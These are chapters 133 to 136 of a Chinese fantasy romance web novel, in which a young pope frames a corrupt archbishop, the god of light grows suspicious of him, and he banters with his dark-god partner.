“时间差不多了,我们回教廷吧。” 塞缪尔不太乐意,又清楚教廷还有烂摊子没收拾,小伴侣放不下,也不想闹失踪让朋友担心他,所以还是顶着不情不愿的脸打开了传送阵。 此时天色已经蒙蒙亮了,前任教皇的小殿附近一片狼藉,而一夜过去,还没有一个人发现异常。 不远处,负责巡逻的骑士们倒在地上,面容祥和,就像是睡着了,偌大的教廷寂静无声,连后山的魔兽,虫蚁,都没有丝毫动静。 第133章 第 133 章 趁着教廷现在没有清醒的人, 塞缪尔光明正大地牵着小伴侣的手跟着他四处走动。 艾尔刚看到有人倒在地上的时候,还以为他们都死了,走近一看是睡得太香, 甚至还有不少人在梦中发笑,可见做的都是美梦。 就连有剑圣境阶的骑士长都着了道, 艾尔想起了以前在宝库里见过一个叫“梦神的祝福”的手链, 估计是受了那玩意儿的影响。 只有身上带着圣光护印的神官没受次神遗物的影响, 所以埃德加主教他们都被一一找上门,被施了安魂咒。 咒术同为光系, 护印对此不会有反应。 艾尔随口喃喃一句, “看来光明神还是有点用的, 我是不是该说声谢谢。” 如果不是圣光护印,他一定会死在美梦中。 塞缪尔幽幽地看着他, 艾尔眉眼弯弯,笑得有点小坏,“祂那么讨厌你,却帮你救了伴侣一次, 你也要礼貌一点, 以后有机会见面的时候跟人家道个谢。” “……”那亚希伯恩一定会像吞了苍蝇一样难受。 塞缪尔乖乖点头应下,祂看得出即便护印真的帮上忙了,小伴侣也不会觉得欠了人情, 因为他一直都因为自己转世后受了太多苦而对光明神怀有偏见和敌意。 塞缪尔没忍住牵着青年的手凑到唇边亲了一下, 宝贝真是太可爱了! 艾尔看到艾布纳和黛芙妮都好好的, 不由松了口气, 同时又有点疑惑, 既然教皇都来过他俩的住处了,为什么没有动手掠夺他们的信仰? 以前不也杀过其他候选人吗, 虽然他们身上的信仰之力不多,但蚊子腿再小也是肉,艾尔还以为教皇会顺手都取了。 难道是有自己这块大肥肉,他看不上别人身上那点信仰了? 在杀害前几个候选人的时候快准狠,没让人多受一点痛苦。 今天也让所有人沉睡,不误伤别人,在伤害他之前还道歉。 现在想来,前一日那么细心的跟他讲事情,也像是在弥补亏欠……残忍中又带点温柔。 艾尔摇了摇头,觉得教皇真是个谜一样的人。 “梦神的祝福”其实是个好东西,让人在美梦中沉睡一夜,便能自己醒过来,所以艾尔也懒得费心去把人弄醒。 至于被施了安魂咒的几人,他觉得教皇对埃德加主教还有点感情,估计用的魔法也是有时效的,他也懒得管了,刚好他想给自己留点时间恢复身体,现在不想应对一大帮子人。 艾尔往自己的小殿走,塞缪尔忽然停下脚步拉住了他,低沉磁性的声音在他耳边蛊惑着,“这么好的机会,不顺手把你讨厌的人给彻底解决了?” 艾尔一愣,立马想到了几个人名,别说,他还真的有点心动,现在教廷里唯一醒着的就是自己和恋人,他们完全可以为所欲为啊! 有点期待,又有点紧张犹豫,主要是青年的道德水准有点高,这种趁虚而入搞暗杀的事情听着很爽,以后能省很多麻烦,但艾尔还是有些别扭。 但这么好的机会若是什么都不做,一定会后悔很久的,艾尔想了想,很快便定下了主意。 —— 巡逻的圣骑士被刺眼的阳光照到之后,瞬间便警觉地睁开了眼睛。 他们站起身来面面相觑,确保整队人都还活着,来不及探究为什么会睡着,小队迅速分散开来,去检查哪个地方有异常。 前任教皇的殿宇附近一片狼藉,很明显这里曾被什么空间魔器隔离了,圈内满是打斗的痕迹,圈外连一根草都没折。 看到这幅景象的骑士立即传了信号给同僚,随后自己拔出了剑,谨慎地走了进去。 一片杂乱中,坐在靠椅上静静翻看手札的银发青年格外显眼,就像周围和平时没有区别似的,察觉到有人过来,他眉眼柔和,关心了一句,“你们都醒了吗?” “是,他们去别处检查了。”骑士归剑入鞘,行了礼,“殿…冕下,我等失职,不知为何在巡逻时陷入了昏睡,希望吾神庇佑您一切安好。” 骑士心惊胆战,刚才他就注意到了地上的血迹,再看新任教皇脸色苍白,显然是受了重伤,大量失血——他们骑士团居然在教皇继位的第一天就出了这么大的纰漏! 骑士非常自责,他出生平民家庭,而眼前为底层带来太多改变的青年,是他最尊敬崇拜的人…… “吾神确实庇佑了我。”青年没有丝毫责备,只礼貌吩咐了一声,“能帮我把散落的手札信件都收拾一下吗,麻烦你了。” 被青年的从容感染,骑士紧张了一路的心终于放了下来,“是,冕下,这是我应该做的。” 骑士没有问发生了什么,是谁闯入了教廷,等会儿会有神官们来追问的,冕下看起来有些疲惫,还是让他安静一会儿吧。 不多久,艾布纳和几个候选人风风火火地赶过来,“你没事吧?该不会昨夜只有你一个人和闯入者打起来了吧?你怎么没睡着?” 艾尔瞥了他一眼,淡淡地吐出一句扎心的话,“可能因为我比你强吧,及时察觉到了危险。” 周围比新教皇年龄大很多的神官和骑士们安静下来,默默自卑。 大主教们也纷纷闻讯而来,他们脸色都很难看,没想到以自己的境阶居然会着了道! 现在想来都很后怕,如果那个闯入者带着杀心…… 不不不,那该死的家伙一定是知道最强大的教皇离开了,特意来杀人的,幸好新教皇还算靠谱,及时察觉到了危险赶走了袭击者! 埃德加心疼地看着没什么血色的孩子,“哎,这次大家都长了教训,不能以为在主教廷里就能松懈下来。” 老人愤恨地拄了拄法杖,“一定是那个杀死了丹尼尔和其他候选人的黑暗异族!” 有大主教冷冷道,“早就说了异族不可信!” “冕下,您看清凶手的长相了吗,他是哪个种族?” 艾尔闻言顿了一下,“没有看见脸,不过他身上没有奇怪的部位,更像是人族。””而且……我们之前都搞错了,凶手不是暗系天赋者,我很确定,他用光系魔法攻击了我。” 一石激起千层浪! 青年垂下眼眸,装作在思考回忆的模样。 他想着,若是如实告诉大家找了几百年的凶手就是前任教皇,恐怕没人会相信吧…… 毕竟想不通那位图什么,而且也亲眼看见他已经去了神域,所以说实话的结果要么是众人坚信他在撒谎,要么是坚信凶手故意假扮成前任教皇的模样。 艾尔懒得费功夫去证明真相,也很难证明,就算所有人都相信了又能怎么样呢?对已经去了神域的人无法造成任何损失。 所以……他打算利用现有条件达成他想要的局面。 银发青年思忖片刻,抬眼看向众人,打断了他们的激烈反应,沉声道:“比起长什么样,更麻烦的是,他身上穿戴的东西,都来自于地下宝库。” 这句话和刚才那句说凶手是光系天赋者一样让人难以置信! “哦,光明神在上,冕下,您是说,宝库失窃了吗?!” “怎么可能?您确定吗?” “快去检查一下!” 青年扶额,无奈道,“夏佐冕下忘记把钥匙交给我了,我也是看见了凶手用的武器才想起这件事,麻烦阁下们把你们身上的钥匙碎片凑完整。” 在埃德加给前任教皇找借口的声音中,大主教们从自己的空间戒指中摸钥匙……嗯?钥匙呢?怎么摸不到?! 疑惑和焦躁都写在了脸上,很快,大主教们都意识到不止自己一个人找不到钥匙了,另外几个……咦,怎么还少了个人? 埃德加扫视了周围一圈,皱着眉,“威廉阁下呢?” 有骑士回答了他的话,“我们去了威廉大主教的住处,没有看见他。” 众人沉默半晌,艾布纳不可思议道,“难道是威廉阁下偷走了你们的钥匙,进宝库拿走了藏品,还想暗杀我们所有人?!” 新任教皇的脸色终于沉了下来,“你们的钥匙是什么时候丢的?” 一名大主教憋闷回答,“不知道。” 这玩意儿就没用上过,平时就扔在空间戒指里,看都没看一眼。 作为同僚,他们已经认识威廉大主教几百年了,即便有的人知道他和自己一样都是虚伪又贪婪的人,但还是想不通,“难道威廉很早之前就被恶魔蛊惑了吗,他为什么突然要害我们?” 银发青年叹了口气,“大概是担心我刚拿到宝库钥匙,会去看一眼吧,然后发现藏品失窃的事情进行调查……” “可惜,他不知道夏佐冕下根本就没有把钥匙交给我。” 事情已经很明朗了,光系大主教威廉不知用何手段偷盗了同僚身上的钥匙,也偷盗了所有神明遗物,并想杀害对他有威胁的神官们以绝后患。 周围散落在地的血迹是真实的,新教皇身上的三道圣光护印都耗尽了,他受到的伤害也是实打实的,没有必要骗他们…… 基本所有人都相信了这场栽赃嫁祸。 此时,王庭的秘密地牢中—— 向来喜欢扬着下巴看人的傲慢神官正呆愣愣的,还没有从现在的境地回过神来。 他被关在了狭小的笼子里,身上满是鞭痕和血污,作为一个光系法师,却没有办法治疗自己,因为他的四肢都戴上了牢固的禁魔手环,他现在就是一个普通人,一个废人…… “哒,哒,哒…” 听见鞋跟落地的声音,老人一个哆嗦,看起来可怜至极。 有道威严的女音嘲讽道,“威廉阁下,怎么不继续叫嚣了?” 威廉哪敢,上一次这个女人来的时候,他不知道自己为什么无知无觉的被关起来了,看见了女王陛下,仍然习惯用傲慢姿态跟她说话,至于后果…… 他威胁的越狠,陛下抽鞭子的力度也越狠,直接打掉他半条命,把珍贵的护印给消耗了! “陛下,我当年真的是被前王欺骗了,我是不知情的!” “我已经死过一次了,您就当我给泽维尔少爷赔过一命了,放过我吧!” “我会向伟大的光明神祈祷,请神明保佑泽维尔的灵魂安息……” 话未说完,大主教便被雷电劈出了焦味。 费莉西娅指尖缠绕着紫色电流,眼神发冷,想起刚才艾尔那孩子传来的好消息,忽地冷笑一声,“喜欢做栽赃陷害,背后阴人这种事?可现在的受害者变成了你,感觉怎么样?” 威廉发着抖,“你…什么、意、意思?” 费莉西娅耐心的跟他讲述了教廷刚才发生了什么样的误会,然后欣赏着有着强大实力的大主教无能狂怒的模样。 过了一会儿,忽然觉得没什么意思了,冷着脸离开了地牢。 威廉终于意识到,他还要被关在这个不见天日的角落,受很久的折磨……但是他不敢自杀,也不想死! 老人愤愤地想,他明明有那么强大的实力,死了就是这个世界的损失!他不能死! 他要等全知全能的光明神察觉到他的冤屈,然后找到他,救下他! 恐惧死亡的大主教选择在地牢里苟延残喘。 他以为自己落到这番境地只是因为当年诬陷杀害了女王的恋人,其实不止,还因为他以前多次雇人暗杀圣子,还以为青年并不知晓。 艾尔选择先对威廉大主教动手,既是帮自己报仇,也顺便帮女王姑姑了结心事,双赢。 那日之后,光明教廷除了发布了对威廉大主教的通缉令之外,一切照常。 新任教皇和上一任一样都是甩手掌柜,哦,这位出现的时间倒是多了不少,隔个三五年的会仔细检查教廷的事务,还会随机出现在某个分庭所在的城池,暗中观察神官有没有胡作非为。 时间一年又一年的过去,心思不正、贪财好色的法师都知道在教廷当神官没什么好处了,这些人都不会选择入职教廷。 按照新教皇的用人标准,现任神官的整体实力比曾经弱了好几个档次,但在他们的周旋和教导下,各方势力,以及上层人物和底层平民的关系都和谐了很多。 如今,除了深渊异族会在人族城镇中晃悠之外,凡界本土的异族也扩大了活动范围,开始成群结队的走出族地到处游历了。 尤其是女王陛下毫不留情地处决了一批又一批参与了异族拐卖的人,他们放心了很多,也渐渐跟王庭有了来往。 充实又幸福的日子总是过得很快,甚至已经到了三个圣子候选人成年很久,都有了不错实力的年岁了。 仍然喜欢劳心劳力,就是闲不下来的埃德加主教提起了可以召请神明选择新圣子了。 艾尔当然是能推则推,鬼知道光明神再苏醒过来的时候会搞什么幺蛾子。 但就算没有人召请,光明神也会自己醒来执行祂的计划…… 这天,塞缪尔正在教导小伴侣剑术,忽然停下了动作看向某个方向。 艾尔见祂掀起一抹好似嘲讽的笑,“怎么了?” 因为练剑了好一阵,银发青年现在脸颊薄红,白皙皮肤显得粉粉嫩嫩的,塞缪尔一把搂住可爱的小伴侣给他整理发丝,不在意道,“没什么,亚希伯恩正在解开整个封印而已。” 显然光明神是觉得人族如此平静,是因为出来的魔族还不够多,局势才没有乱起来,所以祂来加把火了。 第134章 第 134 章 艾尔听到伴侣说了什么后, 直接大脑宕机,啊…不是!这也太突然了!他还没做好准备,控制不住这个局势啊! 该死的光明神, 有什么计划不能提前跟他这个教皇说一声吗? 该不会祂终于意识到教廷没用了,打算亲力亲为了吧? 银发青年轻啧一声, 眉宇间笼罩着烦躁, “那怎么办……” 深渊有数不尽的生灵, 不受控的一大把,还有很多没有思维的低等魔族, 真让这些家伙出去了, 局势定然会飞速恶化。 塞缪尔看他又陷入了思考, 单手扯着恋人柔软的脸颊,没好气地说道, “你当自己的恋人是摆设吗?” 撒个娇让祂帮忙很难吗? 艾尔一愣,终于想起了伴侣这些年实力已经接近巅峰时期,完全可以一力破万法了! 因为塞缪尔平时万事不上心,艾尔总觉得让祂帮忙的话, 这家伙会直接去解决掉所有制造问题的人, 所以他习惯了自己处理教廷和生意上的事,刚才也没想起来他恋人这个大杀器…… 艾尔捧着恋人不大高兴的俊脸亲了一口,笑得特别好看, “那就麻烦老婆了, 我老婆可真棒!” 塞缪尔至今也没搞清老公老婆的区别, 祂被甜得晕头转向, 心情荡漾之下, 马上证明了自己的能耐,调动了大量黑暗元素力量凝成新的封印, 在旧封印碎裂之后立刻顶上。 大多数魔族都注意到了元素的汹涌流动,都没有当回事,还以为是哪个老怪物在打架。 此时,出口附近察觉到旧封印出了问题的魔族兴奋的往上跑,哈哈哈哈这下彻底自由——“碰!” 跑在前面的魔族摸了摸疼痛的脑门,一脸懵逼,随后皱紧了眉头,艹!封印不是碎了吗!他们亲眼看见的! “光明神那个老东西该不会是搞了个新封印吧?” 后一步赶到上空的魔族大惊失色,“不好!快去看看那道门还在不在!” 那道小裂口可别被封住了,他愿意排长队出去的! 性格沉稳一点的魔族碰了下无形无色的封印,没有以前那种被光明灼烧的痛感,再联想到刚才深渊里的异动,真相呼之欲出——只有他们伟大的深渊之主,才能这么轻易地布下像这样坚不可摧的封印! 至于他们的神为什么要挡下从属的去路? 哦~那一定是别有深意的!他们一定要好好思考,没脑子的东西可不配当吾神的从属! 很快,魔族确认了那道小裂口还能正常出入,所有的一切照旧。 机灵点儿的已经领悟了真相,亡灵眯着眼低喃道,“我明白了……吾神是为了稳定局势,断了光明神从胆小人族那里获得信仰的机会啊。” 周围的魔族恍然大悟! 因为这件事能让魔族敌视的光明神吃瘪,做出决定的又是他们无脑尊崇的深渊之主,所以众魔对塞缪尔限制了他们自由这件事没有意见,反而开始吹嘘他们信仰的神明稳重又充满智慧,是一个有耐心的猎手,而那小小的光明神就是被那位逗着玩儿的笑话而已。 神殿里,艾尔看着如星星一样多不胜数的信仰之力接连飘来,落入了恋人体内,不禁感叹了一声,真是有心栽花花不开,无心插柳柳成荫啊。 光明神利用自己看不起的低等生灵以谋信仰,但虔诚的信徒却越来越少。 塞缪尔是表里如一的傲慢,根本不搭理魔族的,但是祂封印了深渊魔族居然都没意见,还是对祂死心塌地。 艾尔不由沉思,难道深渊异族都有抖m属性?越是对他们不屑一顾,就越崇拜? 塞缪尔伸手拦下了一片信仰之力,祂将星星点点的白光捧到恋人心脏的位置,没入其中。 见青年表情怪异,神明大人挑眉问着,“什么有趣的事不能说出来和我分享一下?” 艾尔跟恋人感叹了一下祂的好命,顺便吐槽了一句,“天族提供给光明神的信仰不够吗?祂怎么还要谋算人族……” “神域的异族多数是其祂神明的眷属,亚希伯恩的行事作风不合他们胃口,当然不可能去信仰祂。” 况且在神战时代,聪敏点的异族都能猜到光明神做了什么。 作为最强大的主神之一,居然顶着正义慈悲的名头做些卑劣之事,真是太虚伪了! 异族这些长生种,本身就有较强的实力,他们追崇神明的原因更多的是祂们的脾性和爱好对自己种族的胃口,强大的实力是次要的。 他们追崇的神应该是自由傲慢的,是睥睨一切的,祂们不必掩饰自己的喜恶,应该想要什么就直接取,而光明神做的所作所为完全拉低了神明的格调。 也是因为这一点,亚希伯恩成为了塞缪尔最看不起的存在,觉得那家伙完全就是众神中的耻辱。 如果祂当年是直接掠夺其祂神明的信仰,压迫人族信奉祂,反而还能吸引到大批的慕强者成为祂的忠实信徒,就像魔族信崇深渊之主一样。 但祂偏要维持美好的假面,塞缪尔甚至怀疑那群自诩高洁的羽族还是光明神的眷属吗? 艾尔见恋人还在往他身体里塞信仰之力,连忙抓住祂的手,“怎么把信仰给我了?你自己够维持神格吗?” “够。”祂又不像亚希伯恩那样要靠大量信仰之力维持被规则排斥的天生神躯。 塞缪尔看着小伴侣体内新诞生不久的神格又凝固几分,暗自满意,伴侣越强大,祂才越放心一些。 祂抱着人,脑袋搁在青年肩头跟他咬耳朵,“宝贝儿最近练剑辛苦了,要回上面练魔法吗?试一试神明境阶的实力。” 艾尔当然是点头,表情特别正经地看祂,“你跟我切磋几场,放水别太明显了。” 男人失笑,“好。”小伴侣努力上进的样子像是在发光,这么耀眼的宝贝是祂的~ —— 亚希伯恩闭目放空了一会儿,当然,神明的一会儿对于人类而言至少是好几天。 时间流逝了不知道多久,再睁眼时,接收到的信仰密度依旧没什么变化,亚希伯恩甚至以为下界只过了小半日,混乱还没有发生。 前几次醒来的时候,亚希伯恩虽然有些不悦虔诚信众的减少,但祂并不迫切,始终是游刃有余的态度,傲慢的以为事情仍在祂的掌控之中。 如今,祂终于打算认真地对待这件事了…… 习惯性的想找人问责,神明却无法感应到祂的凡界代行者,祂的教皇身在何处,也无法感应到圣子的方位。 祂在重要神官身上留下的三道护印竟然全部消失,难道人都死了吗?! 神明紧皱着眉头,一向平淡无波的金眸被怒火悉数点燃,就像噬人的烈焰般恐怖——都一群废物! 亚希伯恩冷脸拿出一枚黄色菱晶,其上散发着光华,威压比人类法神的攻击更甚。 随着菱晶在祂手中消散,祂很快便吸收完了大地之神神格中蕴含的信仰。 随后,王城上空风起云涌,有一道白光,在众目睽睽之下落到了教廷的方向。 毕竟是天赋者云集的王城,城民们见多识广,也耳闻过许多神迹传说,加上这一代人成长在蓬勃发展的时期,能吃饱穿暖,过得安稳,也都受过教育,比几百年前的先辈们理智很多,所以对这天降异象只是感到新奇。 除了少数虔诚信徒外,其他人都不会再狂热地跪拜祈祷了。 也不是说人族就不敬畏神明了,只是他们更能理智思考了,如今一切安稳,教廷也没有公布要召请神明降临,所以高高在上的神明怎么会突然出现呢? 哦~这多半是有一位强大的法师大人从远方归来了。 城民们谈论了一会儿,继续忙碌自己的事了。 亚希伯恩的神念直接降临到教廷雕像之中,倒也没留意蝼蚁们的言行。 留守教廷的神官和圣骑士们注意到神迹,纷纷前往了主殿迎接他们的神明。 亚希伯恩看着下方几张熟悉的面容,不理解这些废物都活得好好的,境阶更高的教皇和圣子怎么会经历生死危机? “你们的教皇发生了何事?” 神明误以为重要的棋子已经身亡,本意是想知道他们是怎么死的,单膝跪地的大主教们却以为这位想见教皇冕下。 “吾神,冕下正在无人之地历练,我们这就联络他回来。” 亚希伯恩沉默,祂本以为教皇已经死了,不过这对祂来说也算个好消息,毕竟眼前的一群棋子都太弱小了,远不如一个法神有用。 然后,当神明看到传讯水晶中出现了银发青年的身影,然后众人称呼圣子为教皇时,祂更沉默了…… 神域之中,清俊的金发神明不禁抬手扶上了额头,祂本以为自己只沉睡了很短的时间,如今看来,这点时间对人族而言太长了,长到足以发生太多的改变。 艾尔早在恋人重新封印深渊后,便做好了再次见到光明神的心理准备,收到传讯后便用空间卷轴回了教廷。 在白茫茫的冰川之中,变成独身一人的黑眸男人收敛了笑意,指尖划过锋利的剑刃,蠢蠢欲动的想跟过去把亚希伯恩的神像给砍了。 亚希伯恩没等多久,几个呼吸之后,新任教皇便出现在祂眼下。 艾尔恭敬地行了礼,他本以为会被质问自己和黑暗异族联系过深的事情,啧,前任教皇一定跟光明神提到了这件事吧。 声音仿佛从遥远的地方传到耳边,艾尔听见神明问道:“夏佐去了哪里?” 艾尔:“?” 不止他,在场的所有人都一头雾水,啊?夏佐教皇不是早就去神域侍奉您了吗? 艾尔愣了一下,随后如实回答了神明的疑问。 亚希伯恩一时没有说话,因为印记消失,祂没有感应到夏佐的位置,竟然不知道他离自己如此的近。 很快,神明便想到了是祂信任的人类主动毁掉了三道护印,试图躲避祂的可能。 是在恐惧祂吗? 无论如何,还有利用价值的棋子没有死,并且已经来到了祂触手可及的地方……想到这一点,神明稍微压下了怒火。 神明继续询问新任教皇,他身上又发生了什么,是和黑暗异族战斗过了吗,护印居然也消耗完了。 银发青年装作羞愧的模样,“吾神,在夏佐教皇离开的那一天,有强大的光系法师袭击了我们,并且偷走了您曾经赐予我们的所有神器……” “遗憾的是,我们至今也没有找到小偷,找回丢失的宝物。” 光系?本该成为祂信徒的光系天赋者袭击了教廷,而这么多人竟然敌不过一个小偷? 骤然之间,王城之上的天空明明灭灭,让人心生恐慌。 平民们惊慌地跑回了自己家里躲着,同时也在安慰自己,没事没事,这里可是王城,天塌下来,他们还有王庭,还有两大学院的法师剑师在呢。 亚希伯恩终于难掩怒火,一字一顿道,“都、是、废、物。” 强大的神威骤然袭来,众人瑟瑟发抖,艾尔低着脑袋,一向脾气稳定的他不理解神明活了这么久,怎么还为这点儿小事生气呢? 那等祂发现塞缪尔已经强大到祂无法再轻易抹杀了,岂不是会被气死? 大殿安静片刻,光明神的语气忽然阴冷下来—— “吾的新教皇,告诉吾,你身上散发着腐朽臭味的黑暗印记……是从哪里来的?” 第135章 第 135 章 亚希伯恩在银发青年出现在这里的时候, 便感受到了祂最抗拒的黑暗气息。 原本以为是新教皇在深渊待了太久沾染上了一身味道,但结束了短暂对话后,那些气息一点也没有消散, 让光明之主很是不悦。 祂讨厌自己的地盘上出现黑暗,就像是被入侵了一般。 亚希伯恩本想随手抹除这些气息, 没有料到的是, 祂的神力竟遭受了阻挡! 神明这才正眼细细探查新教皇的身体, 随后,祂本就对这群废物失望至极的心情又添杀意! 祂无法抹除的印记——是塞缪尔, 一定是该死的塞、缪、尔! 神明的询问让众人大惊失色!他们纷纷看向了年轻的新教皇。 一尊雕像居然有着像是淬了毒一般的眼神, 艾尔在祂的视线之下, 不由绷紧了身体,啧, 可别把火发在我身上了。 青年脸上尽是不解,他不可置信地问着,“吾神,您是说…我身上被黑暗异族留下了印记吗?” 他紧皱着眉, 恍惚地低下头盯着地面, “我已经是法神境阶,竟然有异族能在我毫无察觉之下在我身上留下印记,对方究竟是什么实力……” 这话听得周围人慌乱起来, 他们该不会也被黑暗异族盯上了吧?! 有大主教小心翼翼地开口向神明确认这件事, 得到否定的答案, 顿时松了一口气——哦, 他们早就说了黑暗异族不可信, 不能定下交易让人族放松警惕,教皇不听, 还非要经常跑去深渊游历,啧……年轻人,还是太天真了。 有几个大主教抱着看好戏的心情这样想着,更多的还是真心为银发青年担忧的人。 新教皇用仰慕期盼的表情注视着神像,“吾神,您可以告诉我,这个印记有多危险吗,若是您愿意再次为忠实的信徒提供庇护,艾尔会万分感激的。” 众人的心在神明的沉默中越发忐忑,不是因为神明没有答应替教皇解决麻烦,而是不知为何,神威的压迫性更强了,他们敏锐地感知到了神明的怒意已经到了一个临界点。 人类的第六感没错,亚希伯恩确实比之前更生气了。 祂的信徒被最厌恶的存在留下了印记,而因为降临附身在神像之中,祂被束缚了大半实力,无法探知到印记的具体作用,也无法抹消其存在! 亚希伯恩认定,以塞缪尔的性格,与人族定下的绝对是单方面压迫的契约,暗中设计了祂的教皇,一定是想在某一重要时刻给祂“惊喜”。 因为无法应下信徒抹消邪恶的黑暗契约的请求,神明已经恼羞成怒,而祂的高傲不允许祂承认自己做不到。 神明的回应有些冰冷—— “吾本以为你是个聪明孩子,却大意到没有发现早已出现在你身边的黑暗之子……” “这个印记便当作惩罚,也是激励,你要在藏在暗处的敌人胁迫你之前,破境来到神域之中,吾会在那时助你解开束缚。” 被敌人打上记号的信徒于祂而言就是耻辱,是能力不够的废物。 而且似乎自从这个人类在教廷有了权利之后,他的所作所为看似是全心为神明扩张信仰,让更多的人族对光明神产生好感,结果却适得其反了,亚希伯恩收到的信仰越来越少。 若不是亚希伯恩知晓青年是被虔诚的牧师教养长大,也亲眼见过青年曾经凝聚出对祂的信仰,祂必然会怀疑眼前的人类是被塞缪尔蛊惑了来给祂添乱的! 考虑到银发青年还有利用价值,甚至价值比前任教皇要大的多,亚希伯恩忍下了杀死他的念头。 艾尔知道祂不行,所以并不意外这个回复,低眉顺眼地应下了神明的话。 亚希伯恩终于提到了祂这次降临的原因:“深渊那边可有异动?” “回吾神,深渊一切如常,暂时还没有出现会扰乱凡界秩序的魔族。” “封印呢?” “封印还是破损的样子……”年轻教皇一顿,隐含着期待问道,“您是打算修复封印了吗,还是想让两界继续往来下去?” 封印还是那样?亚希伯恩在心里冷笑连连,笃定是塞缪尔插了手。 呵……祂还会管两界会不会发生战争这种事?而且至今都低调到没有被人发现,变得沉稳了……难道祂还能转性了吗? “去告知信众,黑暗之子已经诞生,若祂不死,人族的未来将陷入无尽黑暗之中。” “派教廷的人去深渊探查所有法神境阶以上的魔族,黑暗之子可能会掩饰自己的特征,寻人时不必再拘于黑发黑眸。” 艾尔正在感叹祂终于想到了这一点,就听见自己被点名了。 “艾尔菲斯,吾最信任的教皇,吾如今非常怀疑与你接触过的魔王,好孩子,你愿意以身犯险,去接近那位魔王探查他的喜好吗?” “将他说过的话都记录下来吧,吾自会辨认他是否是我们的敌人。” 青年弯腰行礼,“艾尔非常乐意服从您的指示,吾神。”他不止能去接触,还能去□□呢。 亚希伯恩另有事要做,祂对信众下了命令后,便收回了寄附于神像上的意识。 大殿中,神明的“信徒”们正忧心忡忡。 对夏佐教皇最是信任尊敬的埃德加在担心他的下落,其他人则有些抗拒神谕。 连法神实力的教皇都在毫无察觉之下被阴了一把,他们若是派遣了神官或者圣骑士进深渊打探消息,如果被发现了,不被那些暴脾气的魔族找麻烦才怪,还要被凡界的其它势力联合指责打破了稳定局势。 越是位高权重,越是实力高强的人族,其实就越不会虔诚信神,他们只会信到手的好处…… 没有信仰作为驱动力,要他们去找死?他们宁愿辞职。 有大主教开口,“冕下,您有何安排?” 哦,希望这个年轻人不要太死脑筋了,神明说什么就做什么,派几个骑士去深渊转一圈就好了。 幸运的是,神官们的期望成真了。 银发青年褪去了方才在神明面前的天真仰慕,他收敛了表情,语气淡淡道:“两界的平衡关系不容打破,教廷担不起这个责任,让唐纳德阁下带几位骑士,装作赏金猎人进深渊游历一段时间吧。” 埃德加问他,“那你真的要去调查魔王陛下吗?” 青年点头,“至少那位表现出了很好交流的样子,我并不觉得困难,阁下不用担心。” 三言两语做了决定,众人散去之后,艾布纳出了神殿还跟艾尔聊了一会儿,隐晦地吐槽了光明神几句。 艾布纳上次见到光明神还是在那位亲选圣子的那日,当时心中忐忑,他不信仰神明,但也承认神明的威仪不是其他生灵能比的,是那么高高在上,遥不可及。 而今日,艾布纳只觉得神明颠覆了在他心里的形象,做事不考虑后果,好像还有点气急败坏……更像是那些没脑子的贵族老爷。 而且什么事都不知道,还要他们去查,根本不是从小听说过的那样全知全能嘛。 艾尔嘴上不应,心里却万分赞同。 连艾布纳都开始看低光明神了,艾尔就更没把祂放在心上了。 实力再强,却只能用意识降临,谋算再多,却傲慢到相信一切尽在掌控,哪怕对重要的棋子都不屑一顾。 比起过于自信的光明神,艾尔更警惕的是前任教皇,他居然一直藏在神域没有去见过神明哪怕一面吗? 艾尔已经想给那位鼓掌了,演技可比他好太多了,亏他一直以为前教皇是个虔诚的信徒来着。 神明刚才一直压抑着怒火,希望祂能把火发到藏起来的前教皇身上…… 艾尔没在教廷停留太长时间,他挑选了几个耐心好点的圣骑士去深渊随意逛一圈,敷衍过神明下的命令。 而他自己,当然是去接触危险的魔王陛下了,咳,这个命令要认真执行,可不能敷衍。 艾尔回到了不久前和恋人分别的北极冰川,一落地,便看见男人姿态随意地坐在鹅毛大雪之中,双手撑着地,身体微微后仰,冷漠地看着苍茫天空。 雪花落在祂的脸颊,落在祂许久没有眨过的眼眸中,也没有激起丝毫反应,就像一尊完美的雕像。 察觉到这片空间多了一道气息,雕像终于活了过来,看到那张熟悉的脸,祂再度感受到了心跳…… 塞缪尔向祂的恋人伸手,如愿被漂亮的青年扑了满怀,还顺势在雪地里滚了几圈。 祂躺在地上,抱着温暖的小伴侣,冷硬的面容完全柔和下来,“宝贝儿,我好想你。” 艾尔被祂滚烫的眼神看的俊脸一热,咳……都老夫老夫了,怎么还这么热情。 青年捧着祂的脸,蹭了蹭祂的鼻尖,呼吸在交缠,压低的声音显得非常亲昵,“怎么在发呆?看起来很无聊的样子。” “嗯,你不在我就没什么事做。” “好吧,是我的错,走之前应该给你布置堆雪人的作业~” 塞缪尔捻起伴侣的一缕头发卷着玩儿,“什么雪人?” “等会儿教你,我们可以一起堆。我现在要执行光明神大人特意交代我的任务了,魔王陛下,请您配合一下。” 大魔王挑眉,兴致盎然,“教皇冕下凭什么要我配合?不如先告诉我是什么样的任务,我可以考虑一下。” “我需要记录您的一举一动,包括您说的每一句话,然后上报给吾神。” 说到这里,尽管艾尔知道光明神这样做是怀疑塞缪尔在掩饰自己的身份,想通过细节确认魔王到底是不是塞缪尔转世,他还是不由的在心里吐槽了一句——依光明神对塞缪尔的执着和了解,真的有点像痴汉啊! 他的理智上知道自己作为塞缪尔的恋人,太敏感了点,纯属想多了,但也不妨碍他看光明神越来越不顺眼。 艾尔只是气了那么一小下,继续兴致勃勃的和恋人玩游戏了,他甚至还拿出了纸笔准备记录。 塞缪尔非常愿意配合这项任务,神明大人压下坏笑,深邃的黑眸直直地看着身上的青年,纤长的眼睫颤了颤,语气有些软,“哥哥,可以在这里做吗?” 一只宽厚有力的手摁在了他的腰上,艾尔做势要写字的手一顿,大魔王还在催促,“哥哥,刚才那句话你不记下来吗~” 艾尔:艹…… —— 不久前,神域。 正在和翼族族长下棋的白发男人看到了风起云涌的景象,也隔着遥远的距离感受到了神明的威压。 比起神域中惊慌失措的异族,这个人类如往常一般平静,让背生白翼的族长不由在心中感叹,如果他们曾追随过的神明,一直都像这样的性子该多好…… 夏佐垂眸,失神地摩挲着手中棋子。 祂为什么会生气,是发现我早已经来到神域了吗,是……因为我才这样生气的吗? 【全文完】 第136章 第 136 章 神威压迫之下, 神域中所有生灵都惊慌逃回了自己的族地,他们信仰过的神明曾赐下的庇护会让他们多些安全感。 名义上还是光明神从属的翼族也抚摸着发颤的翅尖,“这是怎么了?” 偌大神域之中, 还有谁能惹那位生气呢?谁又敢惹?甚至没有生灵有资格踏入光明神殿。 白发男人叹息一声,“一定是我的原因, 才惹来神怒。” 夏佐确信神明又降临到了下界, 再次为信仰流失而恼怒, 也一定从神官口中得知了自己早已来到神域的事实。 